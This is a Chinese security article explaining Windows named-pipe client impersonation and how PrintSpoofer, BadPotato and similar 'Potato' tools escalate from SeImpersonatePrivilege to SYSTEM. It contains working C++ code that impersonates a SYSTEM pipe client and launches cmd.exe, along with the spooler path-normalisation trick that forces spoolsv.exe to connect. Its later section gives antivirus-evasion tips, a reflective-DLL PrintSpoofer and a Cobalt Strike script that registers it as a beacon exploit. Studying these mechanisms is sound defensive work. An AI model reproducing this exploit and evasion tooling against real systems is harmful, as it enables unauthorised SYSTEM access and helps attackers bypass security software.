作者:ph
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
前言
在Windows的實際滲透中,提權方面我們最常用到的就是眾多的土豆家族
關于各種土豆的原理,似乎很多人印象中一直都是這樣:利用COM interface的某些特性,誘騙具有System權限的帳戶連接我們可控的RPC服務端進行身份驗證,然后NTLM relay的過程,拿到System的權限。
現實是,基于這種想法利用的potatoes在win10 1089和server 2019之后基本都已失效了,現在正火熱的RoguePotato (NG),Sweetpotato(集成了Printspoofer等),BadPotato,GodPotato等,都是結合了命名管道客戶端模擬的老技術
命名管道客戶端模擬(Named_Pipe_Client_Impersonation)可以說是中后期土豆家族的關鍵之處,由于微軟官方認為從具有SeImpersonate privilege特權的Windows服務賬戶提升至 NT AUTHORITY/SYSTEM 權限是預期行為。所以此后的很長一段時間,基于命名管道客戶端模擬的potato都能成為利器。
本文就通過命名管道客戶端模擬(Name_pipe_client_Impersonation)的學習,初窺正活躍的potatoes家族中的成員,探究PrintSpoofer、BadPotato、pipePotato等"當代土豆"的原理,便于實際場景中更好的選擇合適的土豆。
正文
管道
講命名管道之前先來講下管道。管道并不是什么新鮮事物,它是一項成熟的技術,可以在很多操作系統(Unix、Linux、Windows 等)中找到,其本質是是用于進程間通信的共享內存區域,確切的說應該是線程間的通信方法(IPC)。
在 Windows 系統中,存在兩種類型的管道:
- 匿名管道 (Anonymous pipes):匿名管道是基于字符和半雙工的(即單向),通常在父進程和子進程之間傳輸數據,只能本地使用
- 命名管道 (Named pipes):命名管道則強大的多,它是面向消息和全雙工(單向或雙向)的,同時還允許網絡通信,用于創建客戶端/服務器系統。可通過名稱引用;支持多客戶端連接;支持雙向通信;支持異步重疊 I/O
由于匿名管道單向通信,且只能在本地使用的特性,一般用于程序輸入輸出的重定向,如一些后門程序獲取 cmd 內容等等,在實際攻擊過程中利用不多,因此就不過多展開討論。本文的主要內容還是命名管道Named Pipes。
命名管道 Names Pipes
不僅僅是土豆家族的本地提權,內網橫向三大件,都離不開命名管道
命名管道是一個具有名稱,可在同一臺計算機的不同進程之間或在跨越一個網絡的不同計算機的不同進程之間,支持可靠的、單向或雙向的數據通信管道。命名管道的所有實例擁有相同的名稱,但是每個實例都有其自己的緩沖區和句柄,用來為不同客戶端提供獨立的管道。任何進程都可以訪問命名管道,并接受安全權限的檢查,通過命名管道使相關的或不相關的進程之間的通訊變得異常簡單。
用命名管道來設計跨計算機應用程序實際非常簡單,并不需要事先深入掌握底層網絡傳送協議(如TCP、UDP、IP、IPX)的知識。這是由于命名管道利用了微軟網絡提供者(MSNP)重定向器通過同一個網絡在各進程間建立通信,這樣一來,應用程序便不必關心網絡協議的細節。
任何進程都可以成為服務端和客戶端雙重角色,這使得點對點雙向通訊成為可能。在這里,管道服務端進程指的是創建命名管道的一端,而管道客戶端指的是連接到命名管道某個實例的一端。
總結:
- 命名管道的名稱在本系統中是唯一的。
- 命名管道可以被任意符合權限要求的進程訪問。
- 命名管道只能在本地創建。
- 命名管道是雙向的,所以兩個進程可以通過同一管道進行交互。
- 多個獨立的管道實例可以用一個名稱來命名。例如幾個客戶端可以使用名稱相同的管道與同一個服務器進行并發通信。
- 命名管道的客戶端可以是本地進程(本地訪問:
\\.\pipe\PipeName)或者是遠程進程(訪問遠程:\\ServerName\pipe\PipeName)。 - 命名管道使用比匿名管道靈活,服務端、客戶端可以是任意進程,匿名管道一般情況下用于父子進程通訊。
它與網絡編程中的TCP套接字編程非常相似,都有服務端和客戶端的概念,你可以擁有一個服務端監聽連接,等待客戶端連接到服務端以請求或發送數據的過程。
命名管道在Windows系統中被廣泛使用,用MS的工具Pipelist - Sysinternals | Microsoft Learn,可以看到本機的命名管道及其相關信息:

或者直接使用powershell命令
Get-ChildItem \\.\pipe\
((Get-ChildItem \\.\pipe\).name)

或者瀏覽器中file協議查看管道
file://.//pipe//

命名管道的創建和操作是通過Windows API調用進行管理的。
對于服務端進程,常用的函數有
CreateNamedPipe()創建命名管道ConnectNamedPipe()用于等待客戶端連接
對于客戶端進程,可用的函數有
CreateFile()連接到一個正在等待連接的命名管道上,成功返回后,客戶進程就得到了一個指向已經建立連接的命名管道實例的句柄,到這里,服務端進程的 ConnectNamedPipe() 也就完成了其建立連接的任務。CallNamedPipe()連接到一個消息類型的管道(如果管道的實例不可用則等待),向管道寫入并從管道讀取數據,然后關閉管道。
我們獲得了命名管道的句柄,就可以像讀/寫文件一樣讀取/寫入數據。每個命名管道都由以下“PATH”標識,命名管道的命名規范遵循通用命名規范(UNC):
\\ServerName\pipe\PipeName
訪問本機上的管道
\\.\pipe\PipeName或者\\localhost\pipe\PipeName
我們可以使用各種語言(如C、C#和PowerShell)來操作命名管道,因為歸根結底還是對Windows api的調用。
但是,為什么我們要關心命名管道呢?
因為它允許服務端進程對連接到它的客戶端進程進行模擬。它涉及到一個至關重要的Windows api

通過調用ImpersonateNamedPipeClient(),命名管道服務端可以模擬命名管道客戶端的安全上下文,從而直接將命名管道服務端當前線程的Token令牌更改為命名管道客戶端的Token令牌,關鍵就在這。
再看MSDN對它的附注,和所有模擬函數(包括ImpersonateNamedPipeClient)一樣,它需要滿足以下條件之一:
- 令牌的請求模擬級別低于SecurityImpersonation,例如SecurityIdentification或SecurityAnonymous。
- 調用者具有SeImpersonatePrivilege權限。
- 通過LogonUser或LsaLogonUser函數,一個進程(或調用者登錄會話中的另一個進程)使用明確憑據創建了令牌。
- 驗證的身份與調用者相同。 Windows XP與SP1及更早版本:不支持SeImpersonatePrivilege權限。
這也是中后期土豆都需要SeImpersonatePrivilege權限的原因,需要這個特權才能成功調用至關重要的ImpersonateNamedPipeClient() api函數。
因此,如果我們自己創建一個惡意的命名管道服務端,并且一個具有管理員(甚至是System權限)權限的管道客戶端連接到我們的管道服務端,理論上我們就可以模擬管理員用戶的權限。
實現命名管道客戶端模擬
介紹幾個會使用的Win API
-
GetCurrentProcess() 返回值是當前進程的偽句柄。
-
OpenProcessToken() 打開與進程關聯的訪問令牌(Access Token),返回訪問令牌的句柄的指針
-
DuplicateToken() or DuplicateTokenEx() 創建一個新的訪問令牌,該令牌復制已存在的訪問令牌
-
CreateProcessWithTokenW() 創建新進程及其主線程。新進程在指定令牌的安全上下文中運行。
-
ImpersonateNamedPipeClient() 參上詳細介紹
Demo代碼實現如下
#include <iostream>
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <sddl.h>
using namespace std;
void ImpersonatedUser(HANDLE hToken)
{
DWORD dwCreationFlags = 0;
dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;
BOOL g_bInteractWithConsole = TRUE;
LPWSTR pwszCurrentDirectory = NULL;
dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE;
LPVOID lpEnvironment = NULL;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE;
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup);
CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, L"cmd.exe", dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi);
return;
}
int wmain(int argc, wchar_t* argv[])
{
LPWSTR pwszPipeName = argv[1];
TOKEN_GROUPS* group_token = NULL;
HANDLE hPipe = INVALID_HANDLE_VALUE;
HANDLE hToken = INVALID_HANDLE_VALUE;
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
DWORD buffer_size = 0;
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", 1, &((&sa)->lpSecurityDescriptor), NULL);
hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);
wprintf(L"[*] Named pipe '%ls' listening...\n", pwszPipeName);
ConnectNamedPipe(hPipe, NULL);
wprintf(L"[+] A client connected!\n");
ImpersonateNamedPipeClient(hPipe);
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
ImpersonatedUser(hToken);
CloseHandle(hPipe);
return 0;
}
代碼運行演示如下,說說實現思路

這里我們用Administrator賬戶(具有SeImpersonatePrivilege特權)的shell終端運行自己編寫的”惡意“命名管道服務端,讓具有System權限的命名管道客戶端向我們創建的服務端寫入數據,成功運用命名管道客戶端模擬以達到Token令牌竊取的效果。關鍵代碼:
ImpersonateNamedPipeClient(hPipe);
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
ImpersonatedUser(hToken);
大致可以理解為,ImpersonateNamedPipeClient(hPipe); 運行后,當前進程的Token令牌被替換為命名管道客戶端的Token令牌,客戶端又具有System權限,所有當前進程模擬后也具有了System權限,接著再調用OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);獲取當前進程的Token令牌的句柄,并把Token令牌的句柄傳給我們自己寫的函數ImpersonatedUser(hToken),達到Token令牌濫用的目的。
現在目光回到Potatoes家族,命名管道在當代土豆中扮演了怎樣的角色,可以說了解了命名管道客戶端模擬就是了解了當代土豆的一半,剩下一半是什么?
- 就是如何讓具有System權限的管道客戶端進程訪問我們創建的惡意命名管道服務端
這里以經典的PrintSpoofer土豆為例,它大致可以分成兩個部分:
- 讓具有SeImpersonatePrivilege特權的賬戶創建惡意命名管道服務端
- SpoolSample 結合Server Names路徑規范解析特點,欺騙Spoolsv.exe進程(具有System權限)訪問服務端,ImpersonateNamedPipeClient()替換線程令牌獲得System權限
PrintSpoofer 原理探究
PrintSpoofer的實現借鑒了leechristensen/SpoolSample和一個Server Names路徑解析的技巧。
SpoolSample又被叫做打印機欺騙,自然離不開Windows的Spoolsc.exe打印機后臺服務進程

Spoolsv.exe進程負責將用戶提交的打印任務添加到打印隊列中,并將其發送給相應的打印機進行處理。它還負責監控打印隊列的狀態,處理打印錯誤和通知用戶打印任務的完成情況。Spoolsv.exe進程通常在Windows系統啟動時自動運行,并在后臺持續運行,確保打印機系統的正常工作。
并且它運行具有System權限

SpoolSample作者的解釋是,SpoolSample通常被用于強制 Windows 主機通過MS-RPRN(打印機協議) RPC 接口向其他計算機進行身份驗證,初衷是運用于Windows域內進行利用。分析它的原理:
Windows的MS-RPRN協議用于打印客戶端和打印服務器之間的通信,默認情況下打印服務是啟用的。
SpoolSample的關鍵是Windows API中的RpcRemoteFindFirstPrinterChangeNotificationEx()函數,它可以創建一個遠程更改通知對象,該對象監視對打印機對象的更改,并使用 RpcRouterReplyPrinter 或 RpcRouterReplyPrinterEx 將更改通知發送到打印客戶端。并且就是通過命名管道實現進程之間的通信。
其函數原型,
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD fdwFlags,
[in] DWORD fdwOptions,
[in, string, unique] wchar_t* pszLocalMachine,
[in] DWORD dwPrinterLocal,
[in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions
);
打印機后臺程序處理服務的RPC接口本就通過命名管道公開,用pipelist查看,pipename管道名就是spoolss。本機的打印機管道路徑
\\.\pipe\spools

到這我們可能理所應當的想到printspoofer的原理,利用SpoolSample強制Windows主機上的spoolss管道客戶端向我們的惡意管道服務端發起連接,利用Windows API ImpersonateNamedPipeClient()模擬客戶端的Access Token進行權限提升至System權限,這么說并不準確
我們不妨看看spoolsample的利用,下面的TARGET和CAPTURESERVER最后都會被填補成UNC路徑
SpoolSample.exe TARGET CAPTURESERVER
用Process Monitor記錄進程讀寫,如下圖,期間打印機Spoolsv.exe進程向管道 \\192.168.110.137\pipe\spools 嘗試讀寫,但是結果是ACCESS_DENIED

肯定有朋友想到構造如下的的payload,其中 \\192.168.110.137\pipe\demo 是我們創建的惡意管道服務端
.\SpoolSample.exe 192.168.110.1 192.168.110.137\pipe\demo
理想的預期是在進程讀寫里看見Spoolsv.exe進程向我們構造的惡意管道 \\192.168.110.137\pipe\demo 寫入數據,然后直接模擬,進而提權
很可惜,嘗試失敗,spoolsv.exe進程對Server name做了校驗,最后還是會替換成 \\192.168.110.137\pipe\spools 管道。并且我們也無法創建和spools的同名惡意管道,因為它已經存在。

回看函數原型如下:
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD fdwFlags,
[in] DWORD fdwOptions,
[in, string, unique] wchar_t* pszLocalMachine,
[in] DWORD dwPrinterLocal,
[in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions
);
關鍵在 pszLocalMachine:指向表示客戶端計算機名稱的字符串的指針。

原因也是這里做了校驗,會重置指定的命名管道
這里PrintSpoofer的作者是用了個Server Names路徑規范化解析的技巧
如果主機名包含/,它將通過路徑檢驗,但是在計算要連接的命名管道的路徑時,規范化會將其轉換為\,例如
.\SpoolSample.exe 192.168.110.1 192.168.110.137/test

可以看見,連接的管道已經變成了
\\192.168.110.137\test\pipe\spoolss
我們只需要根據命名管道的名稱規范構造管道,舉個例子
\\192.168.110.137\pipe\demo\pipe\spoolss
這里分成兩部分理解
\\192.168.110.137\pipe到這是正常命名\demo\pipe\spoolss才是我們的管道名,因為打印機進程總會把\pipe\spoolss添加在路徑后面
所以用上面的命名管道客戶端模擬的代碼,結合SpoolSample實現提權,演示一下

\\192.168.110.137/pipe/demo
通過命名檢查后變成了
\\192.168.110.137\pipe\demo
最后在加上\pipe\spoolss,最終連接的命名管道就是
\\192.168.110.137\pipe\demo\pipe\spoolss
這也是我們需要創建的惡意命名管道服務端。PrintSpoofer的實現原理也就是這些,回看其源碼

觀察其函數頭文件中的函數聲明,結構結合原理一目了然
- VOID PrintUsage(); 功能提示(做免殺防特征最好直接刪了)
- DWORD DoMain(); 主函數
- BOOL CheckAndEnablePrivilege(HANDLE hTokenToCheck, LPCWSTR pwszPrivilegeToCheck); 檢查是否有模擬特權
- BOOL GenerateRandomPipeName(LPWSTR *ppwszPipeName); 隨機生成管道名,防止被殺軟記錄(這也是和BadPotato\pipePotato不同的地方)
- HANDLE CreateSpoolNamedPipe(LPWSTR pwszPipeName); 創建惡意命名管道服務端
- HANDLE ConnectSpoolNamedPipe(HANDLE hPipe); 異步連接命名管道
- HANDLE TriggerNamedPipeConnection(LPWSTR pwszPipeName); 觸發打印機進程命名管道連接
- DWORD WINAPI TriggerNamedPipeConnectionThread(LPVOID lpParam); 同上
- BOOL GetSystem(HANDLE hPipe); 模擬令牌等
在TriggerNamedPipeConnectionThread()這個函數中實現了SpoolSample的功能

順便看了看和PrintSpooler相同原理實現的,同一時期的BadPotato,pipePotato
大概來說,BadPotato是C#版本的PrintSpooler,結構代碼也更加簡化,并且惡意管道服務端用的是對方機器的名字,而PrintSpooler用的是隨機生成的UUID,pipePotato則是固定的"xxx"(導致可用性也更低),其他的大差不差
免殺嘗試
拿BadPotato做個嘗試
落地靜態查殺的話,直接把所有Console輸出語句替換就行,但是僅僅這樣過不了動態
Console\.WriteLine\((.*?); //直接正則替換完事了
下面就是看看動態了,用procmon看進程斷在哪里,發現badPotato到創建cmd進程時360會提示提權風險,很明顯不允許當前進程創建的新進程權限比當前的高,還是System權限的。

然后思路斷了,功力不夠。正好逛到Crisprx師傅的反射注入DLL結合CS免殺,用PrintSpooler實現的。學習下思路
使用的反射DLL注入項目的地址,stephenfewer/ReflectiveDLLInjection:,并且一般CS中編寫反射注入DLL基本都是使用的該項目
- 導入相關的頭文件:ReflectiveDllInjection.h、ReflectiveLoader.cpp、ReflectiveLoader.h
- 將原來部分提權的操作放到
dllmain.cpp中,主要是放在DLL_PROCESS_ATTACH中 - 這里貼下
dllmain.cpp的代碼:
#include "ReflectiveLoader.h"
#include "PrintSpoofer.h"
#include <iostream>
extern HINSTANCE hAppInstance;
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
BOOL PrintSpoofer() {
BOOL bResult = TRUE;
LPWSTR pwszPipeName = NULL;
HANDLE hSpoolPipe = INVALID_HANDLE_VALUE;
HANDLE hSpoolPipeEvent = INVALID_HANDLE_VALUE;
HANDLE hSpoolTriggerThread = INVALID_HANDLE_VALUE;
DWORD dwWait = 0;
if (!CheckAndEnablePrivilege(NULL, SE_IMPERSONATE_NAME)) {
wprintf(L"[-] A privilege is missing: '%ws'\n", SE_IMPERSONATE_NAME);
bResult = FALSE;
goto cleanup;
}
wprintf(L"[+] Found privilege: %ws\n", SE_IMPERSONATE_NAME);
if (!GenerateRandomPipeName(&pwszPipeName)) {
wprintf(L"[-] Failed to generate a name for the pipe.\n");
bResult = FALSE;
goto cleanup;
}
if (!(hSpoolPipe = CreateSpoolNamedPipe(pwszPipeName))) {
wprintf(L"[-] Failed to create a named pipe.\n");
bResult = FALSE;
goto cleanup;
}
if (!(hSpoolPipeEvent = ConnectSpoolNamedPipe(hSpoolPipe))) {
wprintf(L"[-] Failed to connect the named pipe.\n");
bResult = FALSE;
goto cleanup;
}
wprintf(L"[+] Named pipe listening...\n");
if (!(hSpoolTriggerThread = TriggerNamedPipeConnection(pwszPipeName))) {
wprintf(L"[-] Failed to trigger the Spooler service.\n");
bResult = FALSE;
goto cleanup;
}
dwWait = WaitForSingleObject(hSpoolPipeEvent, 5000);
if (dwWait != WAIT_OBJECT_0) {
wprintf(L"[-] Operation failed or timed out.\n");
bResult = FALSE;
goto cleanup;
}
if (!GetSystem(hSpoolPipe)) {
bResult = FALSE;
goto cleanup;
}
wprintf(L"[+] Exploit successfully, enjoy your shell\n");
cleanup:
if (hSpoolPipe)
CloseHandle(hSpoolPipe);
if (hSpoolPipeEvent)
CloseHandle(hSpoolPipeEvent);
if (hSpoolTriggerThread)
CloseHandle(hSpoolTriggerThread);
return bResult;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
DWORD dwResult = 0;
switch (dwReason) {
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
if (PrintSpoofer()) {
fflush(stdout);
if (lpReserved != NULL)
((VOID(*)())lpReserved)();
} else {
fflush(stdout);
}
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
cna編寫
sub printspoofer {
btask($1, "Task Beacon to run " . listener_describe($2) . " via PrintSpoofer");
if (-is64 $1)
{
$arch = "x64";
$dll = script_resource("PrintSpoofer.x64.dll");
} else {
$arch = "x86";
$dll = script_resource("PrintSpoofer.x86.dll");
}
$stager = shellcode($2, false, $arch);
bdllspawn!($1, $dll, $stager, "PrintSpoofer local elevate privilege", 5000);
bstage($1, $null, $2, $arch);
}
beacon_exploit_register("PrintSpoofer", "PrintSpoofer local elecate privilege", &printspoofer);
生成DLL文件,調用腳本,依然是生效的
最終效果,很多cs插件沒有集成這個PrintSpooler,Taowu插件集里有,其實現思路也如上,建議集成到自己的cs工具庫上。有些情況下它比BadPotato等好用
大致完。由于微軟對SpoolSample給出的結論也是“預期行為”,理論上只要打印機后臺服務程序啟動,并且具有模擬特權,我們都能成功利用。So,利用前不妨ps | findstr "spoolsv"一下看看有沒有打印機服務進程
Learn From
PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 | itm4n's blog
Windows Named Pipes & Impersonation – Decoder's Blog
淺析Windows命名管道Named Pipe_named pipes_謝公子的博客
PrintSpoofer提權原理探究 – Crispr –熱愛技術和生活 (crisprx.top)
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2090/
暫無評論